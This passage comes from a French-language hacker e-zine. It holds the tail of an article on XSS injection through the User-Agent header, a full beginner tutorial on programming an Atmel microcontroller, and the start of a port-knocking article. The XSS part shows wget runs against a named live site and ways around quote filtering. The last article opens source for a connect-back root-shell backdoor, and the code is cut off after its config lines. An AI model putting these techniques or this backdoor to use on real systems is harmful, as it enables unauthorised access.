Gecko) Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko) Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko) une ligne étant rajouter a chaque fois que la page est appeler. Maintenant, essayons d'insérer du code dans cette page. bash-2.05b$ wget -U "" http://mkdwebdev.mindkind.org/shrug.php --21:03:53-- http://mkdwebdev.mindkind.org/shrug.php => `shrug.php.15' Resolving mkdwebdev.mindkind.org... 66.201.225.100 Connecting to mkdwebdev.mindkind.org[66.201.225.100]:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] [ <=> ] 249 --.--K/s 21:03:53 (2.37 MB/s) - `shrug.php' saved [249] bash-2.05b$ maintenant si nous retournons voir avec un browser conventionnel on se rend compte que le background est effectivement rendu noir. Évidement on est encoreloin d'avoir router une box, c'est pourquoi on va essayer de rendre l'exploitation un peu plus vénéneuse. wget -U "" mkdwebdev.mindkind.org/shrug.php --23:13:59-- http://mkdwebdev.mindkind.org/shrug.php => `shrug.php.21' Resolving mkdwebdev.mindkind.org... 66.201.225.100 Connecting to mkdwebdev.mindkind.org[66.201.225.100]:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] [ <=> ] 809 --.--K/s 23:13:59 (7.72 MB/s) - `shrug.php.21' saved [809] Si nous retournons a notre browser et feson un refresh sur la page, nous nous retrouvons maintenant avec du javascript d'exécuter. Même si il vous est possible de passer des < > afin de rajouter script ou code html, la plus part vous interdirons tout de même les " et ' remplacant les premiers par rien et les second en y ajoutant un \ afin de le neutraliser. Ce n'est guerre important puisque cette protection a été depuis pratiquement les tout début du xss bypasser, il sufit d'utiliser leur equivalent html, unicode ou encore hexadécimal. Dans cette exemple de bon vieu XSS classique, c'est l'équivalent HTML qui a ete utiliser. Vous pourrez retrouver une bonne liste des XSS standart réalisable, dans l'article spécifique a se sujet publier dans mindkind par Mindflayr, ou encore vous referez a l'adresse suivante : http://www.shocking.com/~rsnake/xss.html La variable HTTP_REFERER peut aussi être utiliser de manière malicieuse dans des conditions relativement semblable a HTTP_USER_AGENT. Par contre, d'autre variable t'elle que REMOTE_ADDR et REMOTE_HOST sont soumise a un hand check de la par de apache, ce qui rend l'injection de code via ces dites variables totalement impossible. wyzeman .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr, un milieu riche en information \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[ peut-on ouvrire un breche sur un logiciel ?? ]=--[~~]----| | [( je dit bien ouvrire et non exploiter ). ] \/ | [ une foi que t'a trouvé to logiciel et une breche , ] | | [tu code ton propre exploit ] Save a | [ oui mais je parle po de buffer overflow ] mouse, eat | [ je parl de provoquer l'ouverture de la breche ] a pussy | [ c trop technique la ] | [ je vois pas ] | | [ ] |-[~]-=[ ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ Doomsday device part 1 ]=------+---------------------------=[05]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Qwzykx ]=-| | // | | L\:-=[Ak : eille man ta tu des chips ? ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Soit, bien qu'intéressant le monde de l'électronique ne peut concurrencer à lui seul l'attaque des evil lesbiennes from Mtl.. Malheureusement en temps que Geek et gars qui reste à Québec, se sujet pour le moins juteux, et fantaisiste ne pourra être abordé en profondeur.. et j'en suis le premier désolé soyez en sure... Par contre après l'ultime mystère des lesbiennes affamées, de la femme urbaine contemporaine et du continuum espace temps, une touche de naïveté nous sera nécessaire pour croire que l'électronique vaut encore la peine d'être démystifier!!... après tout, qui sait, un jour peut-être la femme bionique ne sera plus fiction, et ce jours tant entendu, la paix sur terre deviendra réalité, et tous nous unirons pour chanter notre joie à travers le monde entier, un tournevis à la main. :) Et bien voici, le fondement de cet article enfin révéler, rien de moins qu'une approche primaire aux microcontrôleurs. Whouuu!... phear!!.. en effet, le tout sera plutôt pédagogique et progressif....! Si l'électronique fut autre fois un truc complexe avec beaucoup d'imprévue tout en étant mythique, et bien les temps ont changés! Il n'est plus nécessaire de de rusher un max sur un truc qui n'a pas la possibilité de foutre de quoi! Non la mode est à la miniaturisation et la portabilité. Certaine puce sont préprogrammés, d'autre pas, certaine autre puise leur programme, dans des simplifications et ramifications binaire, mais le joyaux de cette petite famille c'est bien sur les microcontrôleurs qui agissent comme un microprocesseur personnaliser. Il sont composés pour la plus part de registres, de mémoires ainsi que de plusieurs lignes de contrôle;)! Les modèles sont vaste et devraient êtres judicieusement choisis selon la "job" a faire Par contre dans le cadre de notre "petite" expérimentation, nous utiliserons un Atmel et ce d'une façon plutôt élémentaire! Mais vous serez à même de juger du élémentaire en question dans les prochaines secondes! Le Atmel AT89S8252 est un microcontrôleur comme bin d`autres, mais avec ses particularités, en fait ils en ont tous, justement, le tout débute par en savoir un peu plus sur la chip en question, par exemple son nombre de linge configurables, les possibilités de communication, la mémoire, la vitesse etc... En somme tant de facteurs qui nous rappelle qu'on est encore loin de la fin de l'article :) Le Atmel est un chip qui contient différents registres, et qui exécute son code en assembleur, mais comme l'homo sapiens des temps moderne est plus apte à communiquer en C, il est aussi possible de programmer son chip de façon optimisé avec un compilateur pour la dite puce! Avant même de commencer sur le sujet, le tweaker en vous devrait déjà avoir un minimum de devices composant le monde électronique.. d'ont un multimètre, un planche de prototype, du fils (couleur différente si possible.. les vieux câbles DB-25 sont tout indiquer pour ca) un fer à souder sans tétanos, ainsi qu'un reste d'étain! Material - Atmel AT89S8252 microcontrôleur - Dip socket - Led`z (au besoin) - Cristal 11 Mhz - Condensateur 10pF - 10uF / résistance 1k-10k - Board de test (au besoin) - Alimentation électrique - Cable DB-25 de moins de 2m Avant même de pouvoir pensé à crée une machine infernal de la mort qui fais une job X, il nous faudra la réaliser logiquement... En fait le procéder est plutôt simple et tien plus de la recherche que de technique pour expert.. Dans notre cas il suffit de savoir quelle ligne ira ou, que fera quoi, comment alimenter les circuits en électricité ou encore comment relier les différentes données entres elles. Pour les specs de la puce, un tour chez le fabricant est souvent de mise, encore la il faut apprendre à dissocier l'utile du superflue.. On cherche en gros dans cette étape à quoi servent chacune des pattes du chip principal, ainsi que celle des périphériques qui les entours, par exemple un LCD qu'on voudrais interfacer, un chip de RAM ou de Flash qu'on voudrait aussi rajouter etc.. La documentation est souvent présente, mais c'est souvent à nous d'émuler avec celle-ci le moyen que nous allons prendre pour inter relier intelligemment le tout! Par exemple, notre Atmel AT89S8252 à une ligne appeler EA.Devant tant d'incertitude on ouvre une doc qui nous dit que le EA veut dire External Adressing, et que quand il est à 5v (1 logique) le programme roule à l'intérieur du microcontrôleur, et quand il est à 0v (0 logique) le programme roule en mémoire externe, comme dans une ROM., RAM, ou Flash etc, au fond y'a tellement de possibilités.. Comme cette ligne n'est pas trop standard sur les autres pièces électronique,on en conclue que seul ce chip est affecté à cette variable, ce qui serait logique car il s'agit d'une fonction qui est propre au microcontrôleur. Par contre le AT89S8252 possède aussi 4 port de 8 bits chaque.. c'est ici que le tout devient de plus en plus intéressant! Les données fournis ou interpréter par le AT89S8252 doivent être relié à un port de données identiques sur un autre périphérique afin que les deux modules reçoivent les mêmes données au même moment. Donc sur notre montage il nous faudra évaluer grossièrement ou positionner les différant petit signaux.. Comme par exemple, si le LCD comporte 8 lignes de data, on pourrait très facilement prévoir qu'il nous faudra 8 lignes de data aussi sur le Atmel AT89S8252. En somme voici le plan que j'ai fait, les détails vont suivre à la suite si besoin est! Sur la partie principale [IMG-01] on voit clairement le microcontrôleur ainsi que ce qui l'entoure, les numéros au dessus de chaque lignes indiquent les pins du chip, (pour plus d'infos sur les nomenclatures voir Mindkind #2. On voit donc le cristal (ici de 11.059 Mhz), les différant ports, soit P0, P1, P2, le P3 est plus ou moins défini sur ce schéma, mais pour vos projets il est tout de même tout à fait disponible, noter aussi que les pin 40 (VCC) et 20 (GND) sont absente du shéma, oubliez les donc pas. Sur la deuxième image [IMG-02] on voit un schéma d'un LCD avec ses pins et leurs signaux associés. Sur [IMG-03] on peut voir les deux parties précédents inters reliés entres elles, on voit bien les ports de données se différencier des autres lignes (de contrôle ou d'alimentation). Ces différents schémas sont pour vous aider à mieux voir l'interrelation qu'il y a entres les composantes du montage à faire. Une fois le tout semi analyser et repensé, on peut passer à la phase suivante c'est-à-dire placer les différentes pièces du circuits ensemble et les relier du mieux qu'on peut en botchant raisonnablement.. Pour se faire avec l'aide du plan on va d'abord définir ou placer nos pièces, question de placer près ce qui n'a pas besoins d'être loin, et vice versa!. Donc au centre on placera le microcontrôleur, autour les périphériques etc.. comme par exemple voici ce que le montage nous a donner après la mise en pratique du plan sur papier de tantôt! [IMG-16] Image du produit fini (sans la puce). Plutôt basic, je sais! Mais patience!!.. On a ici mis en place les pièces essentiels pour que notre microcontrôleur puissent s'auto suffire;) n'est-ce pas déjà la l'essentiel?!! [IMG-04] On vois les pièces détachés d'ont on aura de besoin. [IMG-05] Ici on pose le socket de 40 pin qui accueillera plus tard le microcontrôleur, on commence par le "taqué" en place en soudant les extrémités, comme ça s'il y a des modifs à faire on est pas obliger de trop sacrer. :) [IMG-06] Une fois terminée. [IMG-07] En place ensuite le 7805 sur la plaquette (voir Mindkind #2 pour plus d'infos sur le 7805). [IMG-08] Vue de dessous des branchements. [IMG-09] Installation des connecteurs, ici se sont des connecteurs plutôt cheap, en fait semblerait que les connecteurs femelles soit à se point rare qu'il n'y en a pas à Québec, j'ai donc pris des dip socket de 16 pins que j'ai ensuite couper en deux.. sa marche, mais y'a sûrement moyen de trouver mieux... [IMG-10] Vue de dessous.. On note aussi que les pins d'alimentation sont placer cette fois, en dessous on voit le fil du GND (pin 20), sur le dessus on a le VCC (pin40), on note aussi que les pins 29(PSEN) et 31 (EA) sont au VCC, car on ne les utilisera pas dans ce petit montage, par contre si dans un futur l'occasion se présente d'interfacer de la mémoire externe en utilisant un bus de donnée, d'adressage et de contrôle,ces lignes vont devoir changer ! [IMG-11] Ici j'ai rajouté un interrupteur normalement ouvert (un bouton poussoir) afin de contrôler le signal RESET du microcontrôleur, croyez moi avec le temps on apprend à aimer reseter celui-ci avec un bouton plutôt qu'en gossant avec l'alimentation électrique. [IMG-12] Vue de dessous du branchement de l'interrupteur sur la ligne de reset. En fait, le VCC va rejoindre l'interrupteur qui attend d'être activé avant de laisser passer se 5v (VCC) à l a pin de reset du microcontrôleur. [IMG-13] Début du branchement des ports du Atmel au socket dip 16 pins couper en deux donc 8 pins, qu'on a installé tantôt, les soudures sont par en dessous car au-dessus y'a pas mal de truc qui gene le placement des fils! [IMG-14] Opération compléter. [IMG-15] Ici on place des résistances pack sur les lignes de données, le Atmel n'est pas vraiment fait pour fournir beaucoup d'ampérage sur un niveau logique haut (5v), on est donc mieux de l'utiliser en logique inverse. Ex : 1 logique = 0 volts.. L'utilisation de résistances pull-up permet au microcontrôleur de voir un 1 logique lorsque la ligne de donnée qui est brancher à la device à contrôler est flottante (pas de valeur stable), en fait par ce procéder, on s'assure que le chaos reste loin du montage.. si la valeur est flottante, le microcontrôleur verra un 1 logique (grâce au 5v relier aux résistances) au lieu d'un truc louche et pas défini. Et si on commande une 0 logique, la ligne ou est brancher notre device sera donc de zéro volt, car la résistance prendront à leurs bornes la différence de potentiel, en somme le 5v initial cède la place au contrôle du Atmel. Dans certain cas par contre, il faudra tenir compte de cette situation lors de la rédaction de codes..(si la logique est inversé). [IMG-16] Branchement du cristal (ici mon cristal est surface mount, mais y'a tout de même moyen de le faire fitter.. On branche donc les pins 18 et 19 au cristal, puis ensuite de ces connections on place des condensateurs de 20 pF qu'on relie au GND. (voir schéma initial) Sur cette image, je rajoute aussi un port de programmation (en fait c'est 4 lignes qui doivent êtres pluguer au port parallèle de votre ordinateur), soit les pins 6-7-8-9. On relie donc le port de l'imprimante à notre microcontrôleur de la façon suivante : ORDI ---------- Microcontrôleur Lpt.6 (D4) _____ Atmel.9 (RESET) Lpt.7 (D5) _____ Atmel.6 (MOSI) Lpt.8 (D6) _____ Atmel.8 (SCK) Lpt.10 (ACk) ____ Atmel.7 (MISO) Lpt.25 (GND) ____ Atmel.20 (GND) Utiliser un câble DB-25 de moins de 2m par contre, le signal a tendance à pas suivre quand sa dépasse cette distance. J'ai modifier pour ma part le câble en y rajoutant un circuit simple composer de deux inverseurs logique, ainsi qu'une couples de résistances et de condensateur pour clarifier le tout, voici le schéma de l'oeuvre : Lpt.10 (D6)________________________________ | | (+5V) | _____ | | Lpt.7 (D5)_______________/| |\____| | +_/| 7 |\___________| +_/| 4 |\_+ ,_(AD5)_____/| 0 |\_+ Lpt.8 (D6)_______________/| 6 |\________(AACK)_(Connecteur)_(Atmel.7) i _____+/|___|\__+ | | __/ \__|_____(AD6)__(Connecteur)_(Atmel.8) | |___|___________| |________|_________________(AD5)__(Connecteur)_(Atmel.6) | Lpt.25 (GND)__________+_________________(GND)__(Connecteur)_(Atmel.20) (+5V)__(Connecteur)_(Atmel.40) (+5V) | | C1 --- + 10uF --- | (+5V) R1 | _____ | Lpt.6 (D4)__[ 1k ]___+_________/| |\___| | +_/| 7 |\_ | +_/| 4 |\_ R2 | | ____/| 0 |\_ 10K | | | _/| 6 |\_ | | _/|___|\_ (GND) | _/ \_ | | |__|__________(AD4)__(Connecteur)_(Atmel.9) | (GND) Ici le signal D4 passe par une résistance de 1K, avant d'être relié au 7406. On place aussi un condensateur C1 ainsi qu'une autre résistance R2 de 10K sur le même signal. Après avoir alimenté ces inverseurs logique (7406) ou (7404), avec un voltage de 5 Volt (qu'on peut transformer à l'aide d'un simple 7805 "régulateur de voltage"). Les signaux (A*) sont simplement le signal amplifié à la sortie des 7406, en fait en rentrant notre signal original à l'intérieur de celui-ci, on la inversé une 1er fois,puis on la rentré une seconde fois dans un second inverseur affin de retrouver notre niveau logique original, mais amplifier autour de 4.5-5v, au lieu de 3-3.5v comme il serait à la sortie du port parallèle.Le tout fini donc relié au Atmel (notre microcontrôleur), à un voltage décent si il y avait des problèmes de ce côté la. [IMG-17] Câble de programmation, avec le board que je viens de vous montrer en schéma, relié au Atmel. J'utilise ici un 7805 pour régulariser l'alimentation d'environs 20v qui provient du bornier noir. Les petits fils sortent du board et sont relié au Atmel (soit quatre de données, deux d'alimentation) Ici j'ai pas de DB-25, mais on émule plutôt bien ou on devrait le placer... (au besoin). Troubble shooting : Et oui plein de truc tourne croche dans ce monde pervers, et ce montage n'y échappera pas!, si toute fuck, respirer et analyser vos signaux, comme il s'agit ici d'un montage assez simple, les causes d'erreur seront plutôt minimal.. enfin ça risque de grandir au fur et à mesure que le montage évoluera.. encore une fois il est pratique de faire fonctionner le tout section par section affin justement de plus y revenir par la suite :) Les bugs classiques : - Pluguez la pin 31 du chip (EA) au 5V pour flasher le microcontrôleur. - Pluguez les cristals (4 - 24MHz) et le 5V au microcontrôleur. - Pluguez le condensateur et la résistance au signal RESET. partie du bas du montage de tantôt (7406 pas obliger). - Reliez tout vos signaux de Ground (GND) ensemble. - Vérifier que les pins (6,7,8,9) du Atmel, sont bien brancher aux pins correspondant sur le port d'imprimante. Bon une fois notre port de programmation en place on peut entreprendre cette magnifique saga qu'est le coding sur un chip... le AT89S8252 comporte 8k de mémoire utilisable à l'interne. Se qui veut dire que vous pourrez coder un truc de 8k tout au plus...(enfin 8k de données en asm pour être plus précis, donc si vos fichiers en C font plus de 20k il y a encore de l'espoir!) Le logiciel que j'utilise est IAR, il comporte les tools pour justement programmer et compiler votre code, vous pouvez même le runer sur votre ordi!!.. enfin, en émulant mentalement les effets... IAR c'est en gros un compilateur C pour les microcontrôleurs, il nous faut (dans notre cas le: IAR Embedded Workbench for 8051) le setter pour programmer notre model de Atmel, avec quelques spécifications. En fait c'est un programme qu'on peut sûrement trouver un peu partout... c'est comme les movies... Les settings suivant sont à faire ou sont à vérifier: - Copier le fichier lnk8051.xcl du e-zine dans le répertoire \8051\config - Vous créez un projet, New Project, vous crée un feuille de code que vous saver,...ensuite dans l'onglet Project, option File, on ajoute le .C que vous avez saver, cut paster le code que j'ai mis plus bas dans cet article. On a donc un projet avec un source code à l'intérieur, qui ne fait pas grand choses mais quand même!. - Dans le menu Project/Option cliquer sur XLINK et dans la section Format, cochez l'option Other, dans la partie Output Format choisissez mpds-i. En faisant ca vous allez sortir le code compilé en un format compatible avec le Atmel. Il est maintenant temps de mettre en pratique quelques notion de programmation donc!..compilons le programme suivant .. "ici c'est le temps d'ouvrir IAR et de copier le .c suivant :" --------------------------[Cut here]---------------------------- #include //Description des io pour le AT89S8252. //Place ou sont définie les terme du genre //P1, P1.2 etc... void delay (unsigned int); //Fonction de delay de temps. void Process1(void); //Process qu'on va faire exécuter par le chip. void Process2(void); void Process3(void); void main (void) //Main :) { while(1) //Boucle sans fin, pratique pour une puce { //qui fait une tache répétitive. Process1(); //Call des process durant son while. Process2(); Process3(); } } /********************Fonction delay*************************** Fonction qui permet d'introduire un délais de temps dans notre code, comme le Atmel exécute du code rapidement, vraiment rapidement, cette fonction a souvent comme but de ramener nos commandes à un niveau de control ou de perception plus.. humain disons :) Il s'agit en fait d'un gros compteur ou le Atmel perd du temps à décrémenter la valeur de la variable passé en paramètre. *************************************************************/ void delay (unsigned int compteur) //La fonction resoit un { //argument de type int. while (compteur != 0x0000) //Boucle de comptage. compteur--; } /********************Fonction Process1*********************** Le premier process qu'on fait faire à notre Atmel c'est simplement un incrément binaire sur le port numéro 1. Une valeur est initialisée à zéro, puis elle augmente au fur et à mesure que l'incrément sur la variable passe dans un while. Le Port 1 a donc sur ses 8 lignes la valeur de la variable qui s'incrémente. Ex : 0000 0000 0000 0001 0000 0010 0000 0011 0000 0100 0000 0101 0000 0110 avec entre chaque valeur un délai de temps qui permet de voir ces changements, et non une ligne allumer. ************************************************************/ void Process1(void) { unsigned char valeur=0x00; //Déclaration d'une variable de 8bits. while (valeur != 0xFF) //Boucle tant que la variable est pas { //à 0xFF, ou 256. P1=valeur; //Le Port 1 du Atmel est égale à la delay(6000); //valeur de la variable. valeur++; //Call de la fonction de délais, } //incrément de la variable. } /********************Fonction Process2********************* Le deuxième process qu'on fait effectuer au Atmel est une#fresh sortie de différentes valeurs sur le port 3 de celui-ci. L'effet qui se déactive seulement si la Pin 1 du Atmel (le signal P1.0) reçoit un niveau logique 1 (5v) à sa pin. Les différentes valeurs hexadécimales active sur le port 3 différentes valeurs, ici le but est de faire un simple effet chaser à la K-2000. Donc en première on envoie la valeur 0x81, ce qui a pour effet de mettre à un le bit le plus significatif (MSB) ainsi que le moins signifiant#fresh (LSB). On continue par la suite avec un petit délai de temps, puis on sort la prochaine séquence soit 0x42, qui décale de une case vers le centre notre effet.. et ainsi de suite.. Tant que personne ne met un niveau logique 1 à la P1.0, le tout continue à bouger de gauche à droite. Ici on peu brancher des leds ou encore des transistors au pin du Atmel afin de contrôler de vraies lumières "mise dans un bon ordre". ;) ***********************************************************/ void Process2(void) { P1=0x00; //Initialisation du port 1 à zéro while (P1.0 != 1) //Boucle tant que la pin 1 du Atmel (P1.0) est à { //pas à un niveau logique 1, (5v). P3=0x81; //Le Port 3 a comme sortie sur ces 8 pins: 1000 0001 delay(4000); //Call du délai de temps. P3=0x42; //Le Port 3 a comme sortie sur ces 8 pins: 0100 0010 delay(4000); P3=0x24; //Le Port 3 a comme sortie sur ces 8 pins: 0010 0100 delay(4000); P3=0x18; //Le Port 3 a comme sortie sur ces 8 pins: 0001 1000 delay(4000); P3=0x24; //Le Port 3 a comme sortie sur ces 8 pins: 0010 0100 delay(4000); P3=0x42; //Le Port 3 a comme sortie sur ces 8 pins: 0100 0010 delay(4000); } } /********************Fonction Process3********************** Notre troisième et dernier process inclut une condition faisant varier la valeur du port 3 de façon croissante ou décroissante selon la valeur d'une variable. Si la pin 1 du Atmel (P1.0) est égal à un niveau logique 1, soit 5v sur celle-ci, le port 3 affiche la valeur d'une variable qui s'incrémente. Sinon, le port 3 affiche une valeur de variable qui décrémente. ***********************************************************/ void Process3(void) { unsigned char valeur=0x00; //Déclaration d'une variable de 8bits //à une valeur de départ de 0. if (P1.0==1) //Si la pin 1 du Atmel (P1.0) est à un { //niveau logique 1, (5v). while (valeur != 0xFF) //Boucle tant que la valeur est différente { //de 0xFF, 256. P3=valeur; //Le port 3 est égale à la variable. delay(3000); //Call du délai de temps. valeur++; //Incrémentation de la variable. } } else //Si la Pin 1 du Atmel est pas égale { //à un niveau logique 1, (5v).. valeur=0xFF; //Nouvelle valeur de la variable while (valeur != 0x00) //Boucle tant que la valeur est pas { //rendue à zéro. P3=valeur; //Le port 3 est égale à la variable. delay(3000); //Call du délai de temps. valeur--; //Décrément de la variable. } } } #pragma function = default --------------------------[Cut here]---------------------------- On compile notre code en cliquant sur le menu Projet, Bulld all. Ici on voit apparaître une box de message sur nos erreur, ou notre beau code qui marche.Le fichier une fois compiler se trouve dans le répertoire \Debug\Exe du répertoire où vous avez crée votre projet. Il nous faudra ensuite convertir le .hex du nom de votre projet, en un .bin et finalement programmer le Atmel AT89S8252. J'utilise personnellement un prog appeler "Hex2Bin.exe" .. je vous laisse deviner la fonction compliquer du programme ici... ensuite j'utilise AllowIO.exe "un programme pour envoyer du data directement par le port // , en bypassant les restrictions de Windows 2k, Xp et..." pis après on run le "Isb_HB.exe" qui est en fait le programme qui s'interface avec le Atmel pour le programmer. Y'a un txt file assez complet mais simple qui vous explique aussi comment l'interfacer avec d'autres options, y'a même un test mode pour voir ou que sa chie si y'a une merde.. Syntaxe facile... : Hex2bin test.hex test.bin AllowIO 0x378 isp_hb.exe /LPT1 /erase test.bin Ici je vous laisse lire les .txt de chaque programme pour plus de fonctionnalités.. car y en a de tous les genres...;) Mais on voit bien que j'"allow" le prog ISB_HB à utiliser mon port parallèle "adresse 0x378", avec comme consigne d'écrire dessus "LPT1", d'effacer ce qui avait comme code avant"/erase", pis à remplacer le tout par mon code "test.bin" Une fois programmé, on place le microcontrôleur dans son milieu de développement, on active le RESET du microcontrôleur affin de le reseter sur le nouveau code à l'intérieur et on devrait observer ce que nous espérions, encore une fois si le code a bien été interprété. Sinon passons à la section suivante HOW TO DEBUG A CODE... et si tout va bien, passons tout de même à la section suivante. Pour débuguer un code avec IAR, on doit: - Allez dans le menu Projet, choisir Option, sélectionner XLINK, dans la partie Format on sélectionne Debug info, on clique sur Ok. - On retourne à notre menu Project et on choisis Debugger. Rendu la on a un nouveau programme qui s'ouvre avec notre code qui passe sour un highlight. - On se sert du menu Exécute et des options qui a la pour voir ce que notre code fait step by step, on a aussi les mêmes options dans la barre de menu. Si on débug notre code par exemple, on choisis de faire F3 (step into) pour rentrer dans notre process numéro 1. On voit donc que l'on cast une variable et on y met la valeur 0x00 à l'intérieur. Ensuite on rentre dans le while. On vois le port 1 se mettre à la "valeur" de la variable, ensuite on fait F2, juste Step, pour pas rentrer inutilement dans une fonction de délais ou un compteur va décroître (c'est juste long et plate peser 65534 fois sur un bouton..) On continue donc à faire avancer notre code avec F2, et on se rend compte que boucler 256 fois c'est pas mieux non plus, donc on va voir les variables directement :) Pour se faire on va dans le menu Control, on choisis QuickWatch. Ici on devrait voir une box apparaître ou notre variable se trouve, avec une valeur peu élever.. écrite en décimal, on clique sur le bouton Add watch,et on a notre valeur dans une box qui spy nos variables, on peut changer leurs valeurs en hexadécimal ou en binaire en cliquant "bouton de droite" sur notre variable, on va dans les propriétés et on change le Display Format par ce qu'on veut. Si on continue à exécuter virtuellement notre code (F2) on voit la valeur augmenter. On peut aussi changer carrément la valeur de celle-ci en cliquant encore sur notre variable "bouton de droite", on va dans propriété et on change la valeur dans la partie Value. Encore une fois un truc pratique pour éviter les boucles répétitives inutiles. On peut aussi simplement faire "bouton de droite" sur le nom de notre variable à l'intérieur de notre code pour ajouter un watch sur une variable. Si on continue en entrant dans notre Process numéro 2, on peut déjà ajouter des watchs sur nos valeurs du port 1 et 3 (P1,P3). Si on met l'affichage de ces deux valeurs en binaire, on voit bien ce que la fonction s'exécuter. Si on veut sortir de cette boucle, et faire comme si on appliquerais un 1 logique au signal P1.0, on a qu'à appliquer une valeur logique 1 au bit le moins significatif de la valeur de P1, par exemple: 0x01 (hexa) --> 0000 0001 (bin). Pour ce qui est du Process numéro 3, on peut très bien voir que dans un cas, la valeur du port incrémente, et dans l'autre cas il décrémente, la méthode des spy de variable, ainsi que la manipulation de leurs valeurs aide beaucoup à comprendre la logique derrière le code.... en fait sa l'aide surtout à trouver les bugs de logique derrière le code :) Comme chaque code a sont lot de bug, je serais bien mal placer pour vous dire à l'avance qu'elle est le votre.. mais avec expérience, s'il s'agit bel et bien d'un bug de logique, on le trouve assez bien avec cette outil. Oubliez pas de remettre dans IAR, Projet, Option, XLINK, votre Format à Other, mpds-i. Sans sa vous aurez pas vos .hex quand vous voudrez compiler. Pour finir, y'a beaucoup de possibilités de code qu'on peut crée avec ce type de microcontrôleur. Ici les exemples était assez pour débutant. Mais on peut facilement contrôler un LCD ou d'autre périphériques de contrôle avec, et ce à une vitesse incroyable. A suivre dans le prochain Zine :). Une autre technique de montage pourrait fort bien être utilisé pour des avantages quelconque, l'utilisation d'un Atmel SOCI (c'est-à-dire beaucoup plus petit, et fait pour le surface mount) serait un choix judicieux pour la gestion de l'espace du circuit. Avec les moyen du bord soit, j'ai réussi à me builder un circuit de test aussi gros qu'un macaron (pille incluse).. Je sais c'est pas encore invisible, mais putin c'est un board de test.. y'a sûrement moyen d'ailleurs de réduire le circuit (to be continue in an other kewl Zine...??) Enfin, cette méthode se monte aussi plutôt bien, bien qu'elle nécessite un peu plus de skill en soudure.. mais rien d'impossible je vous assure. [IMG-18] Image du AT89S8252 SOCI, sur un board plus petit. C'est déjà tout pour cette intro au microcôntroleur,probablement que dans le prochain e-zine je vais pousser plus loin les possibilités de ce type de contrôle, avec des périphériques et des codes plus complexes. D'ici la have fun with expérimentation. Qwzykx, the almost life in a box teacher. .---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----. | i|#hack.fr un endroit digne remplis de gentlemen \___________________ ___ __ _ | | I| \ | | I| '-=[ Mk-110 ]=-| | // | | L\:-=[ jétais pas 300 sur le x ? ]=--[~~]----| | [ jsais meme pas t qui ] \/ | [ add moi, jsuis wz0ds ] | | [ le takeur de #rectum-crew par exellence ] Gravity | [ hum, c dejas plus amusant ] always | [ www.wz0ds.cc/index.pl?section=news ] wins | [ ba, on peu pas dire que tu veux pas ] | [ qu'est-ce tattend pour me addé? ] | | [ ca depend, jai pas encore compris si tessaye de me faire peur] |-[~]-=[ou de mimpressionner ] ]=-----:\T | | // | |I |i '_______________________________________.I[ Event ]I._________________________________+____' .---+-=[ The real slim portknocker ]=------+---------------------------=[06]=----. | i| \__________________ ___ __ _ | | I| \ | | I| '-=[Phawnky ]=-| | // | | L\:-=[Ak : aussi disponible en hot wheel ]=--------------[~~~~~~~~~~~~]-----| | \ / | '________________________________________________________________________.I[MK-110]I.______' Aucune méthode d'authentification est infaible, que ça soit les tests biometrique, genre ceux qui marche avec les empruntes digital, ou la retine... ouaip les même que Wesley Snipes dejou dans demolition man en arrachant l'oeil d'un gars. Ou les usernames/pass qui sont previsible, extrapolable, brute forceable, voir même extorcable avec un regard méchant et un plunger a toilette, bref you get the idea... Le but de tout mécanisme d'authentification sophistiquer est de minimise le plus possible la quantité de personne qui soit apte a contourner ce dernier. En utilisant des contraintes; psychologique (exemple les cadenas que hacktoad ouvre en .00001 secondes), physique (qui demande d'arracher l'oeil de quelqu'un) ou au niveau du traitement/probabilité (Genre les private keys RSA). Il y a une méthode plus ou moins nouvelle (ok binf, pas nouvelle pentoute...) que wyzeman a effleure dans le dernier zine qui a sucite mon intérêt y'a plus ou moins un ans, alors que je suis tomber par hasard sur le site de phenolite. et que j'ai vu cd00r.c, leur port knocker backdoor. Si vous s'avez pas c'est quoi un port knocker et que vous êtes des putains de lopettes paresseuse (comme moi) je vais le résumer très vite: Imaginer une box, avec toute ses ports closed, qui sniff toute le incoming/outgoing traffic au raw socket level, et finalement regarde le destination port. En bref c'est ça. Quand un host trigger un nombre X de port dans un orde pre-determiné, bingo yer authentifier... la puissance de ce mécanisme réside dans le nombre X de port. qui pourrait être 42 ou encore le nombre d'asiatique sur terre, ça et le nombre de port qu'il y a sur une box, soit 2^16. Un Rappelle sur les probabilité: (2^16)^X = nombre de combinaison possible. Je trouves ce système la, comme tel, déjà bon. Mais comme |R ma fait réalise que si y'avait quelqu'un qui sniffait le traffic et que la port knock séquence restait toujours la même, jme ferais fourrer comme une vierge saoule a un after-graduation party. Il m'a donc, suggéré d'implémenter un truc similaire au one-time-pass ( man skeys, si vous savez pas c'est quoi) que j'ai pas vraiment eut le temps de finalise...que je nommes one-time- knock...wo0...original. Je me sers de BPF dans mon code, mais ça devrait être plutôt facile a porter. Treves de détails inutile, si vous voulez la base d'un port knocker daemon et gosser avec ça vous aussi, durant une nuit, avec une bouteille de vodka, après avoir été mal baiser, pour vous remonter le moral, voici le code server/client: /* \ Fbsd Portknock Daemon by phawnky / \ Based on cd00r.c by FX of phenoelit.de / \ This is a non listening connect-back rootshell dropping backdoor. / To trigger it, you just need to send SYN flagged packets to the host running this \ on the port sequence you choose. Anything doing a connect() definatly would work, / but as an exercise I made a client for it: portknock-client.c \ / TODO: \ - SENDER based hash table, containing which step is completed individually. / - Add One Time Knock support/list generation (credit goes to |R for the idea.) \ - Mmmm...test it on fbsd 5.X / - Port it to linux \ - Make an open-pam module of it */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // Configs #define VERBOSE 1 // don't want any outputs? use 0 #define INTERFACE "ste0" // use your external interface for this. #define CONBACK_PORT 4455 // connect back port...yeah #define MAX_PORT 65535 #define SEQUENCE_LEN 10 // Prototypes void 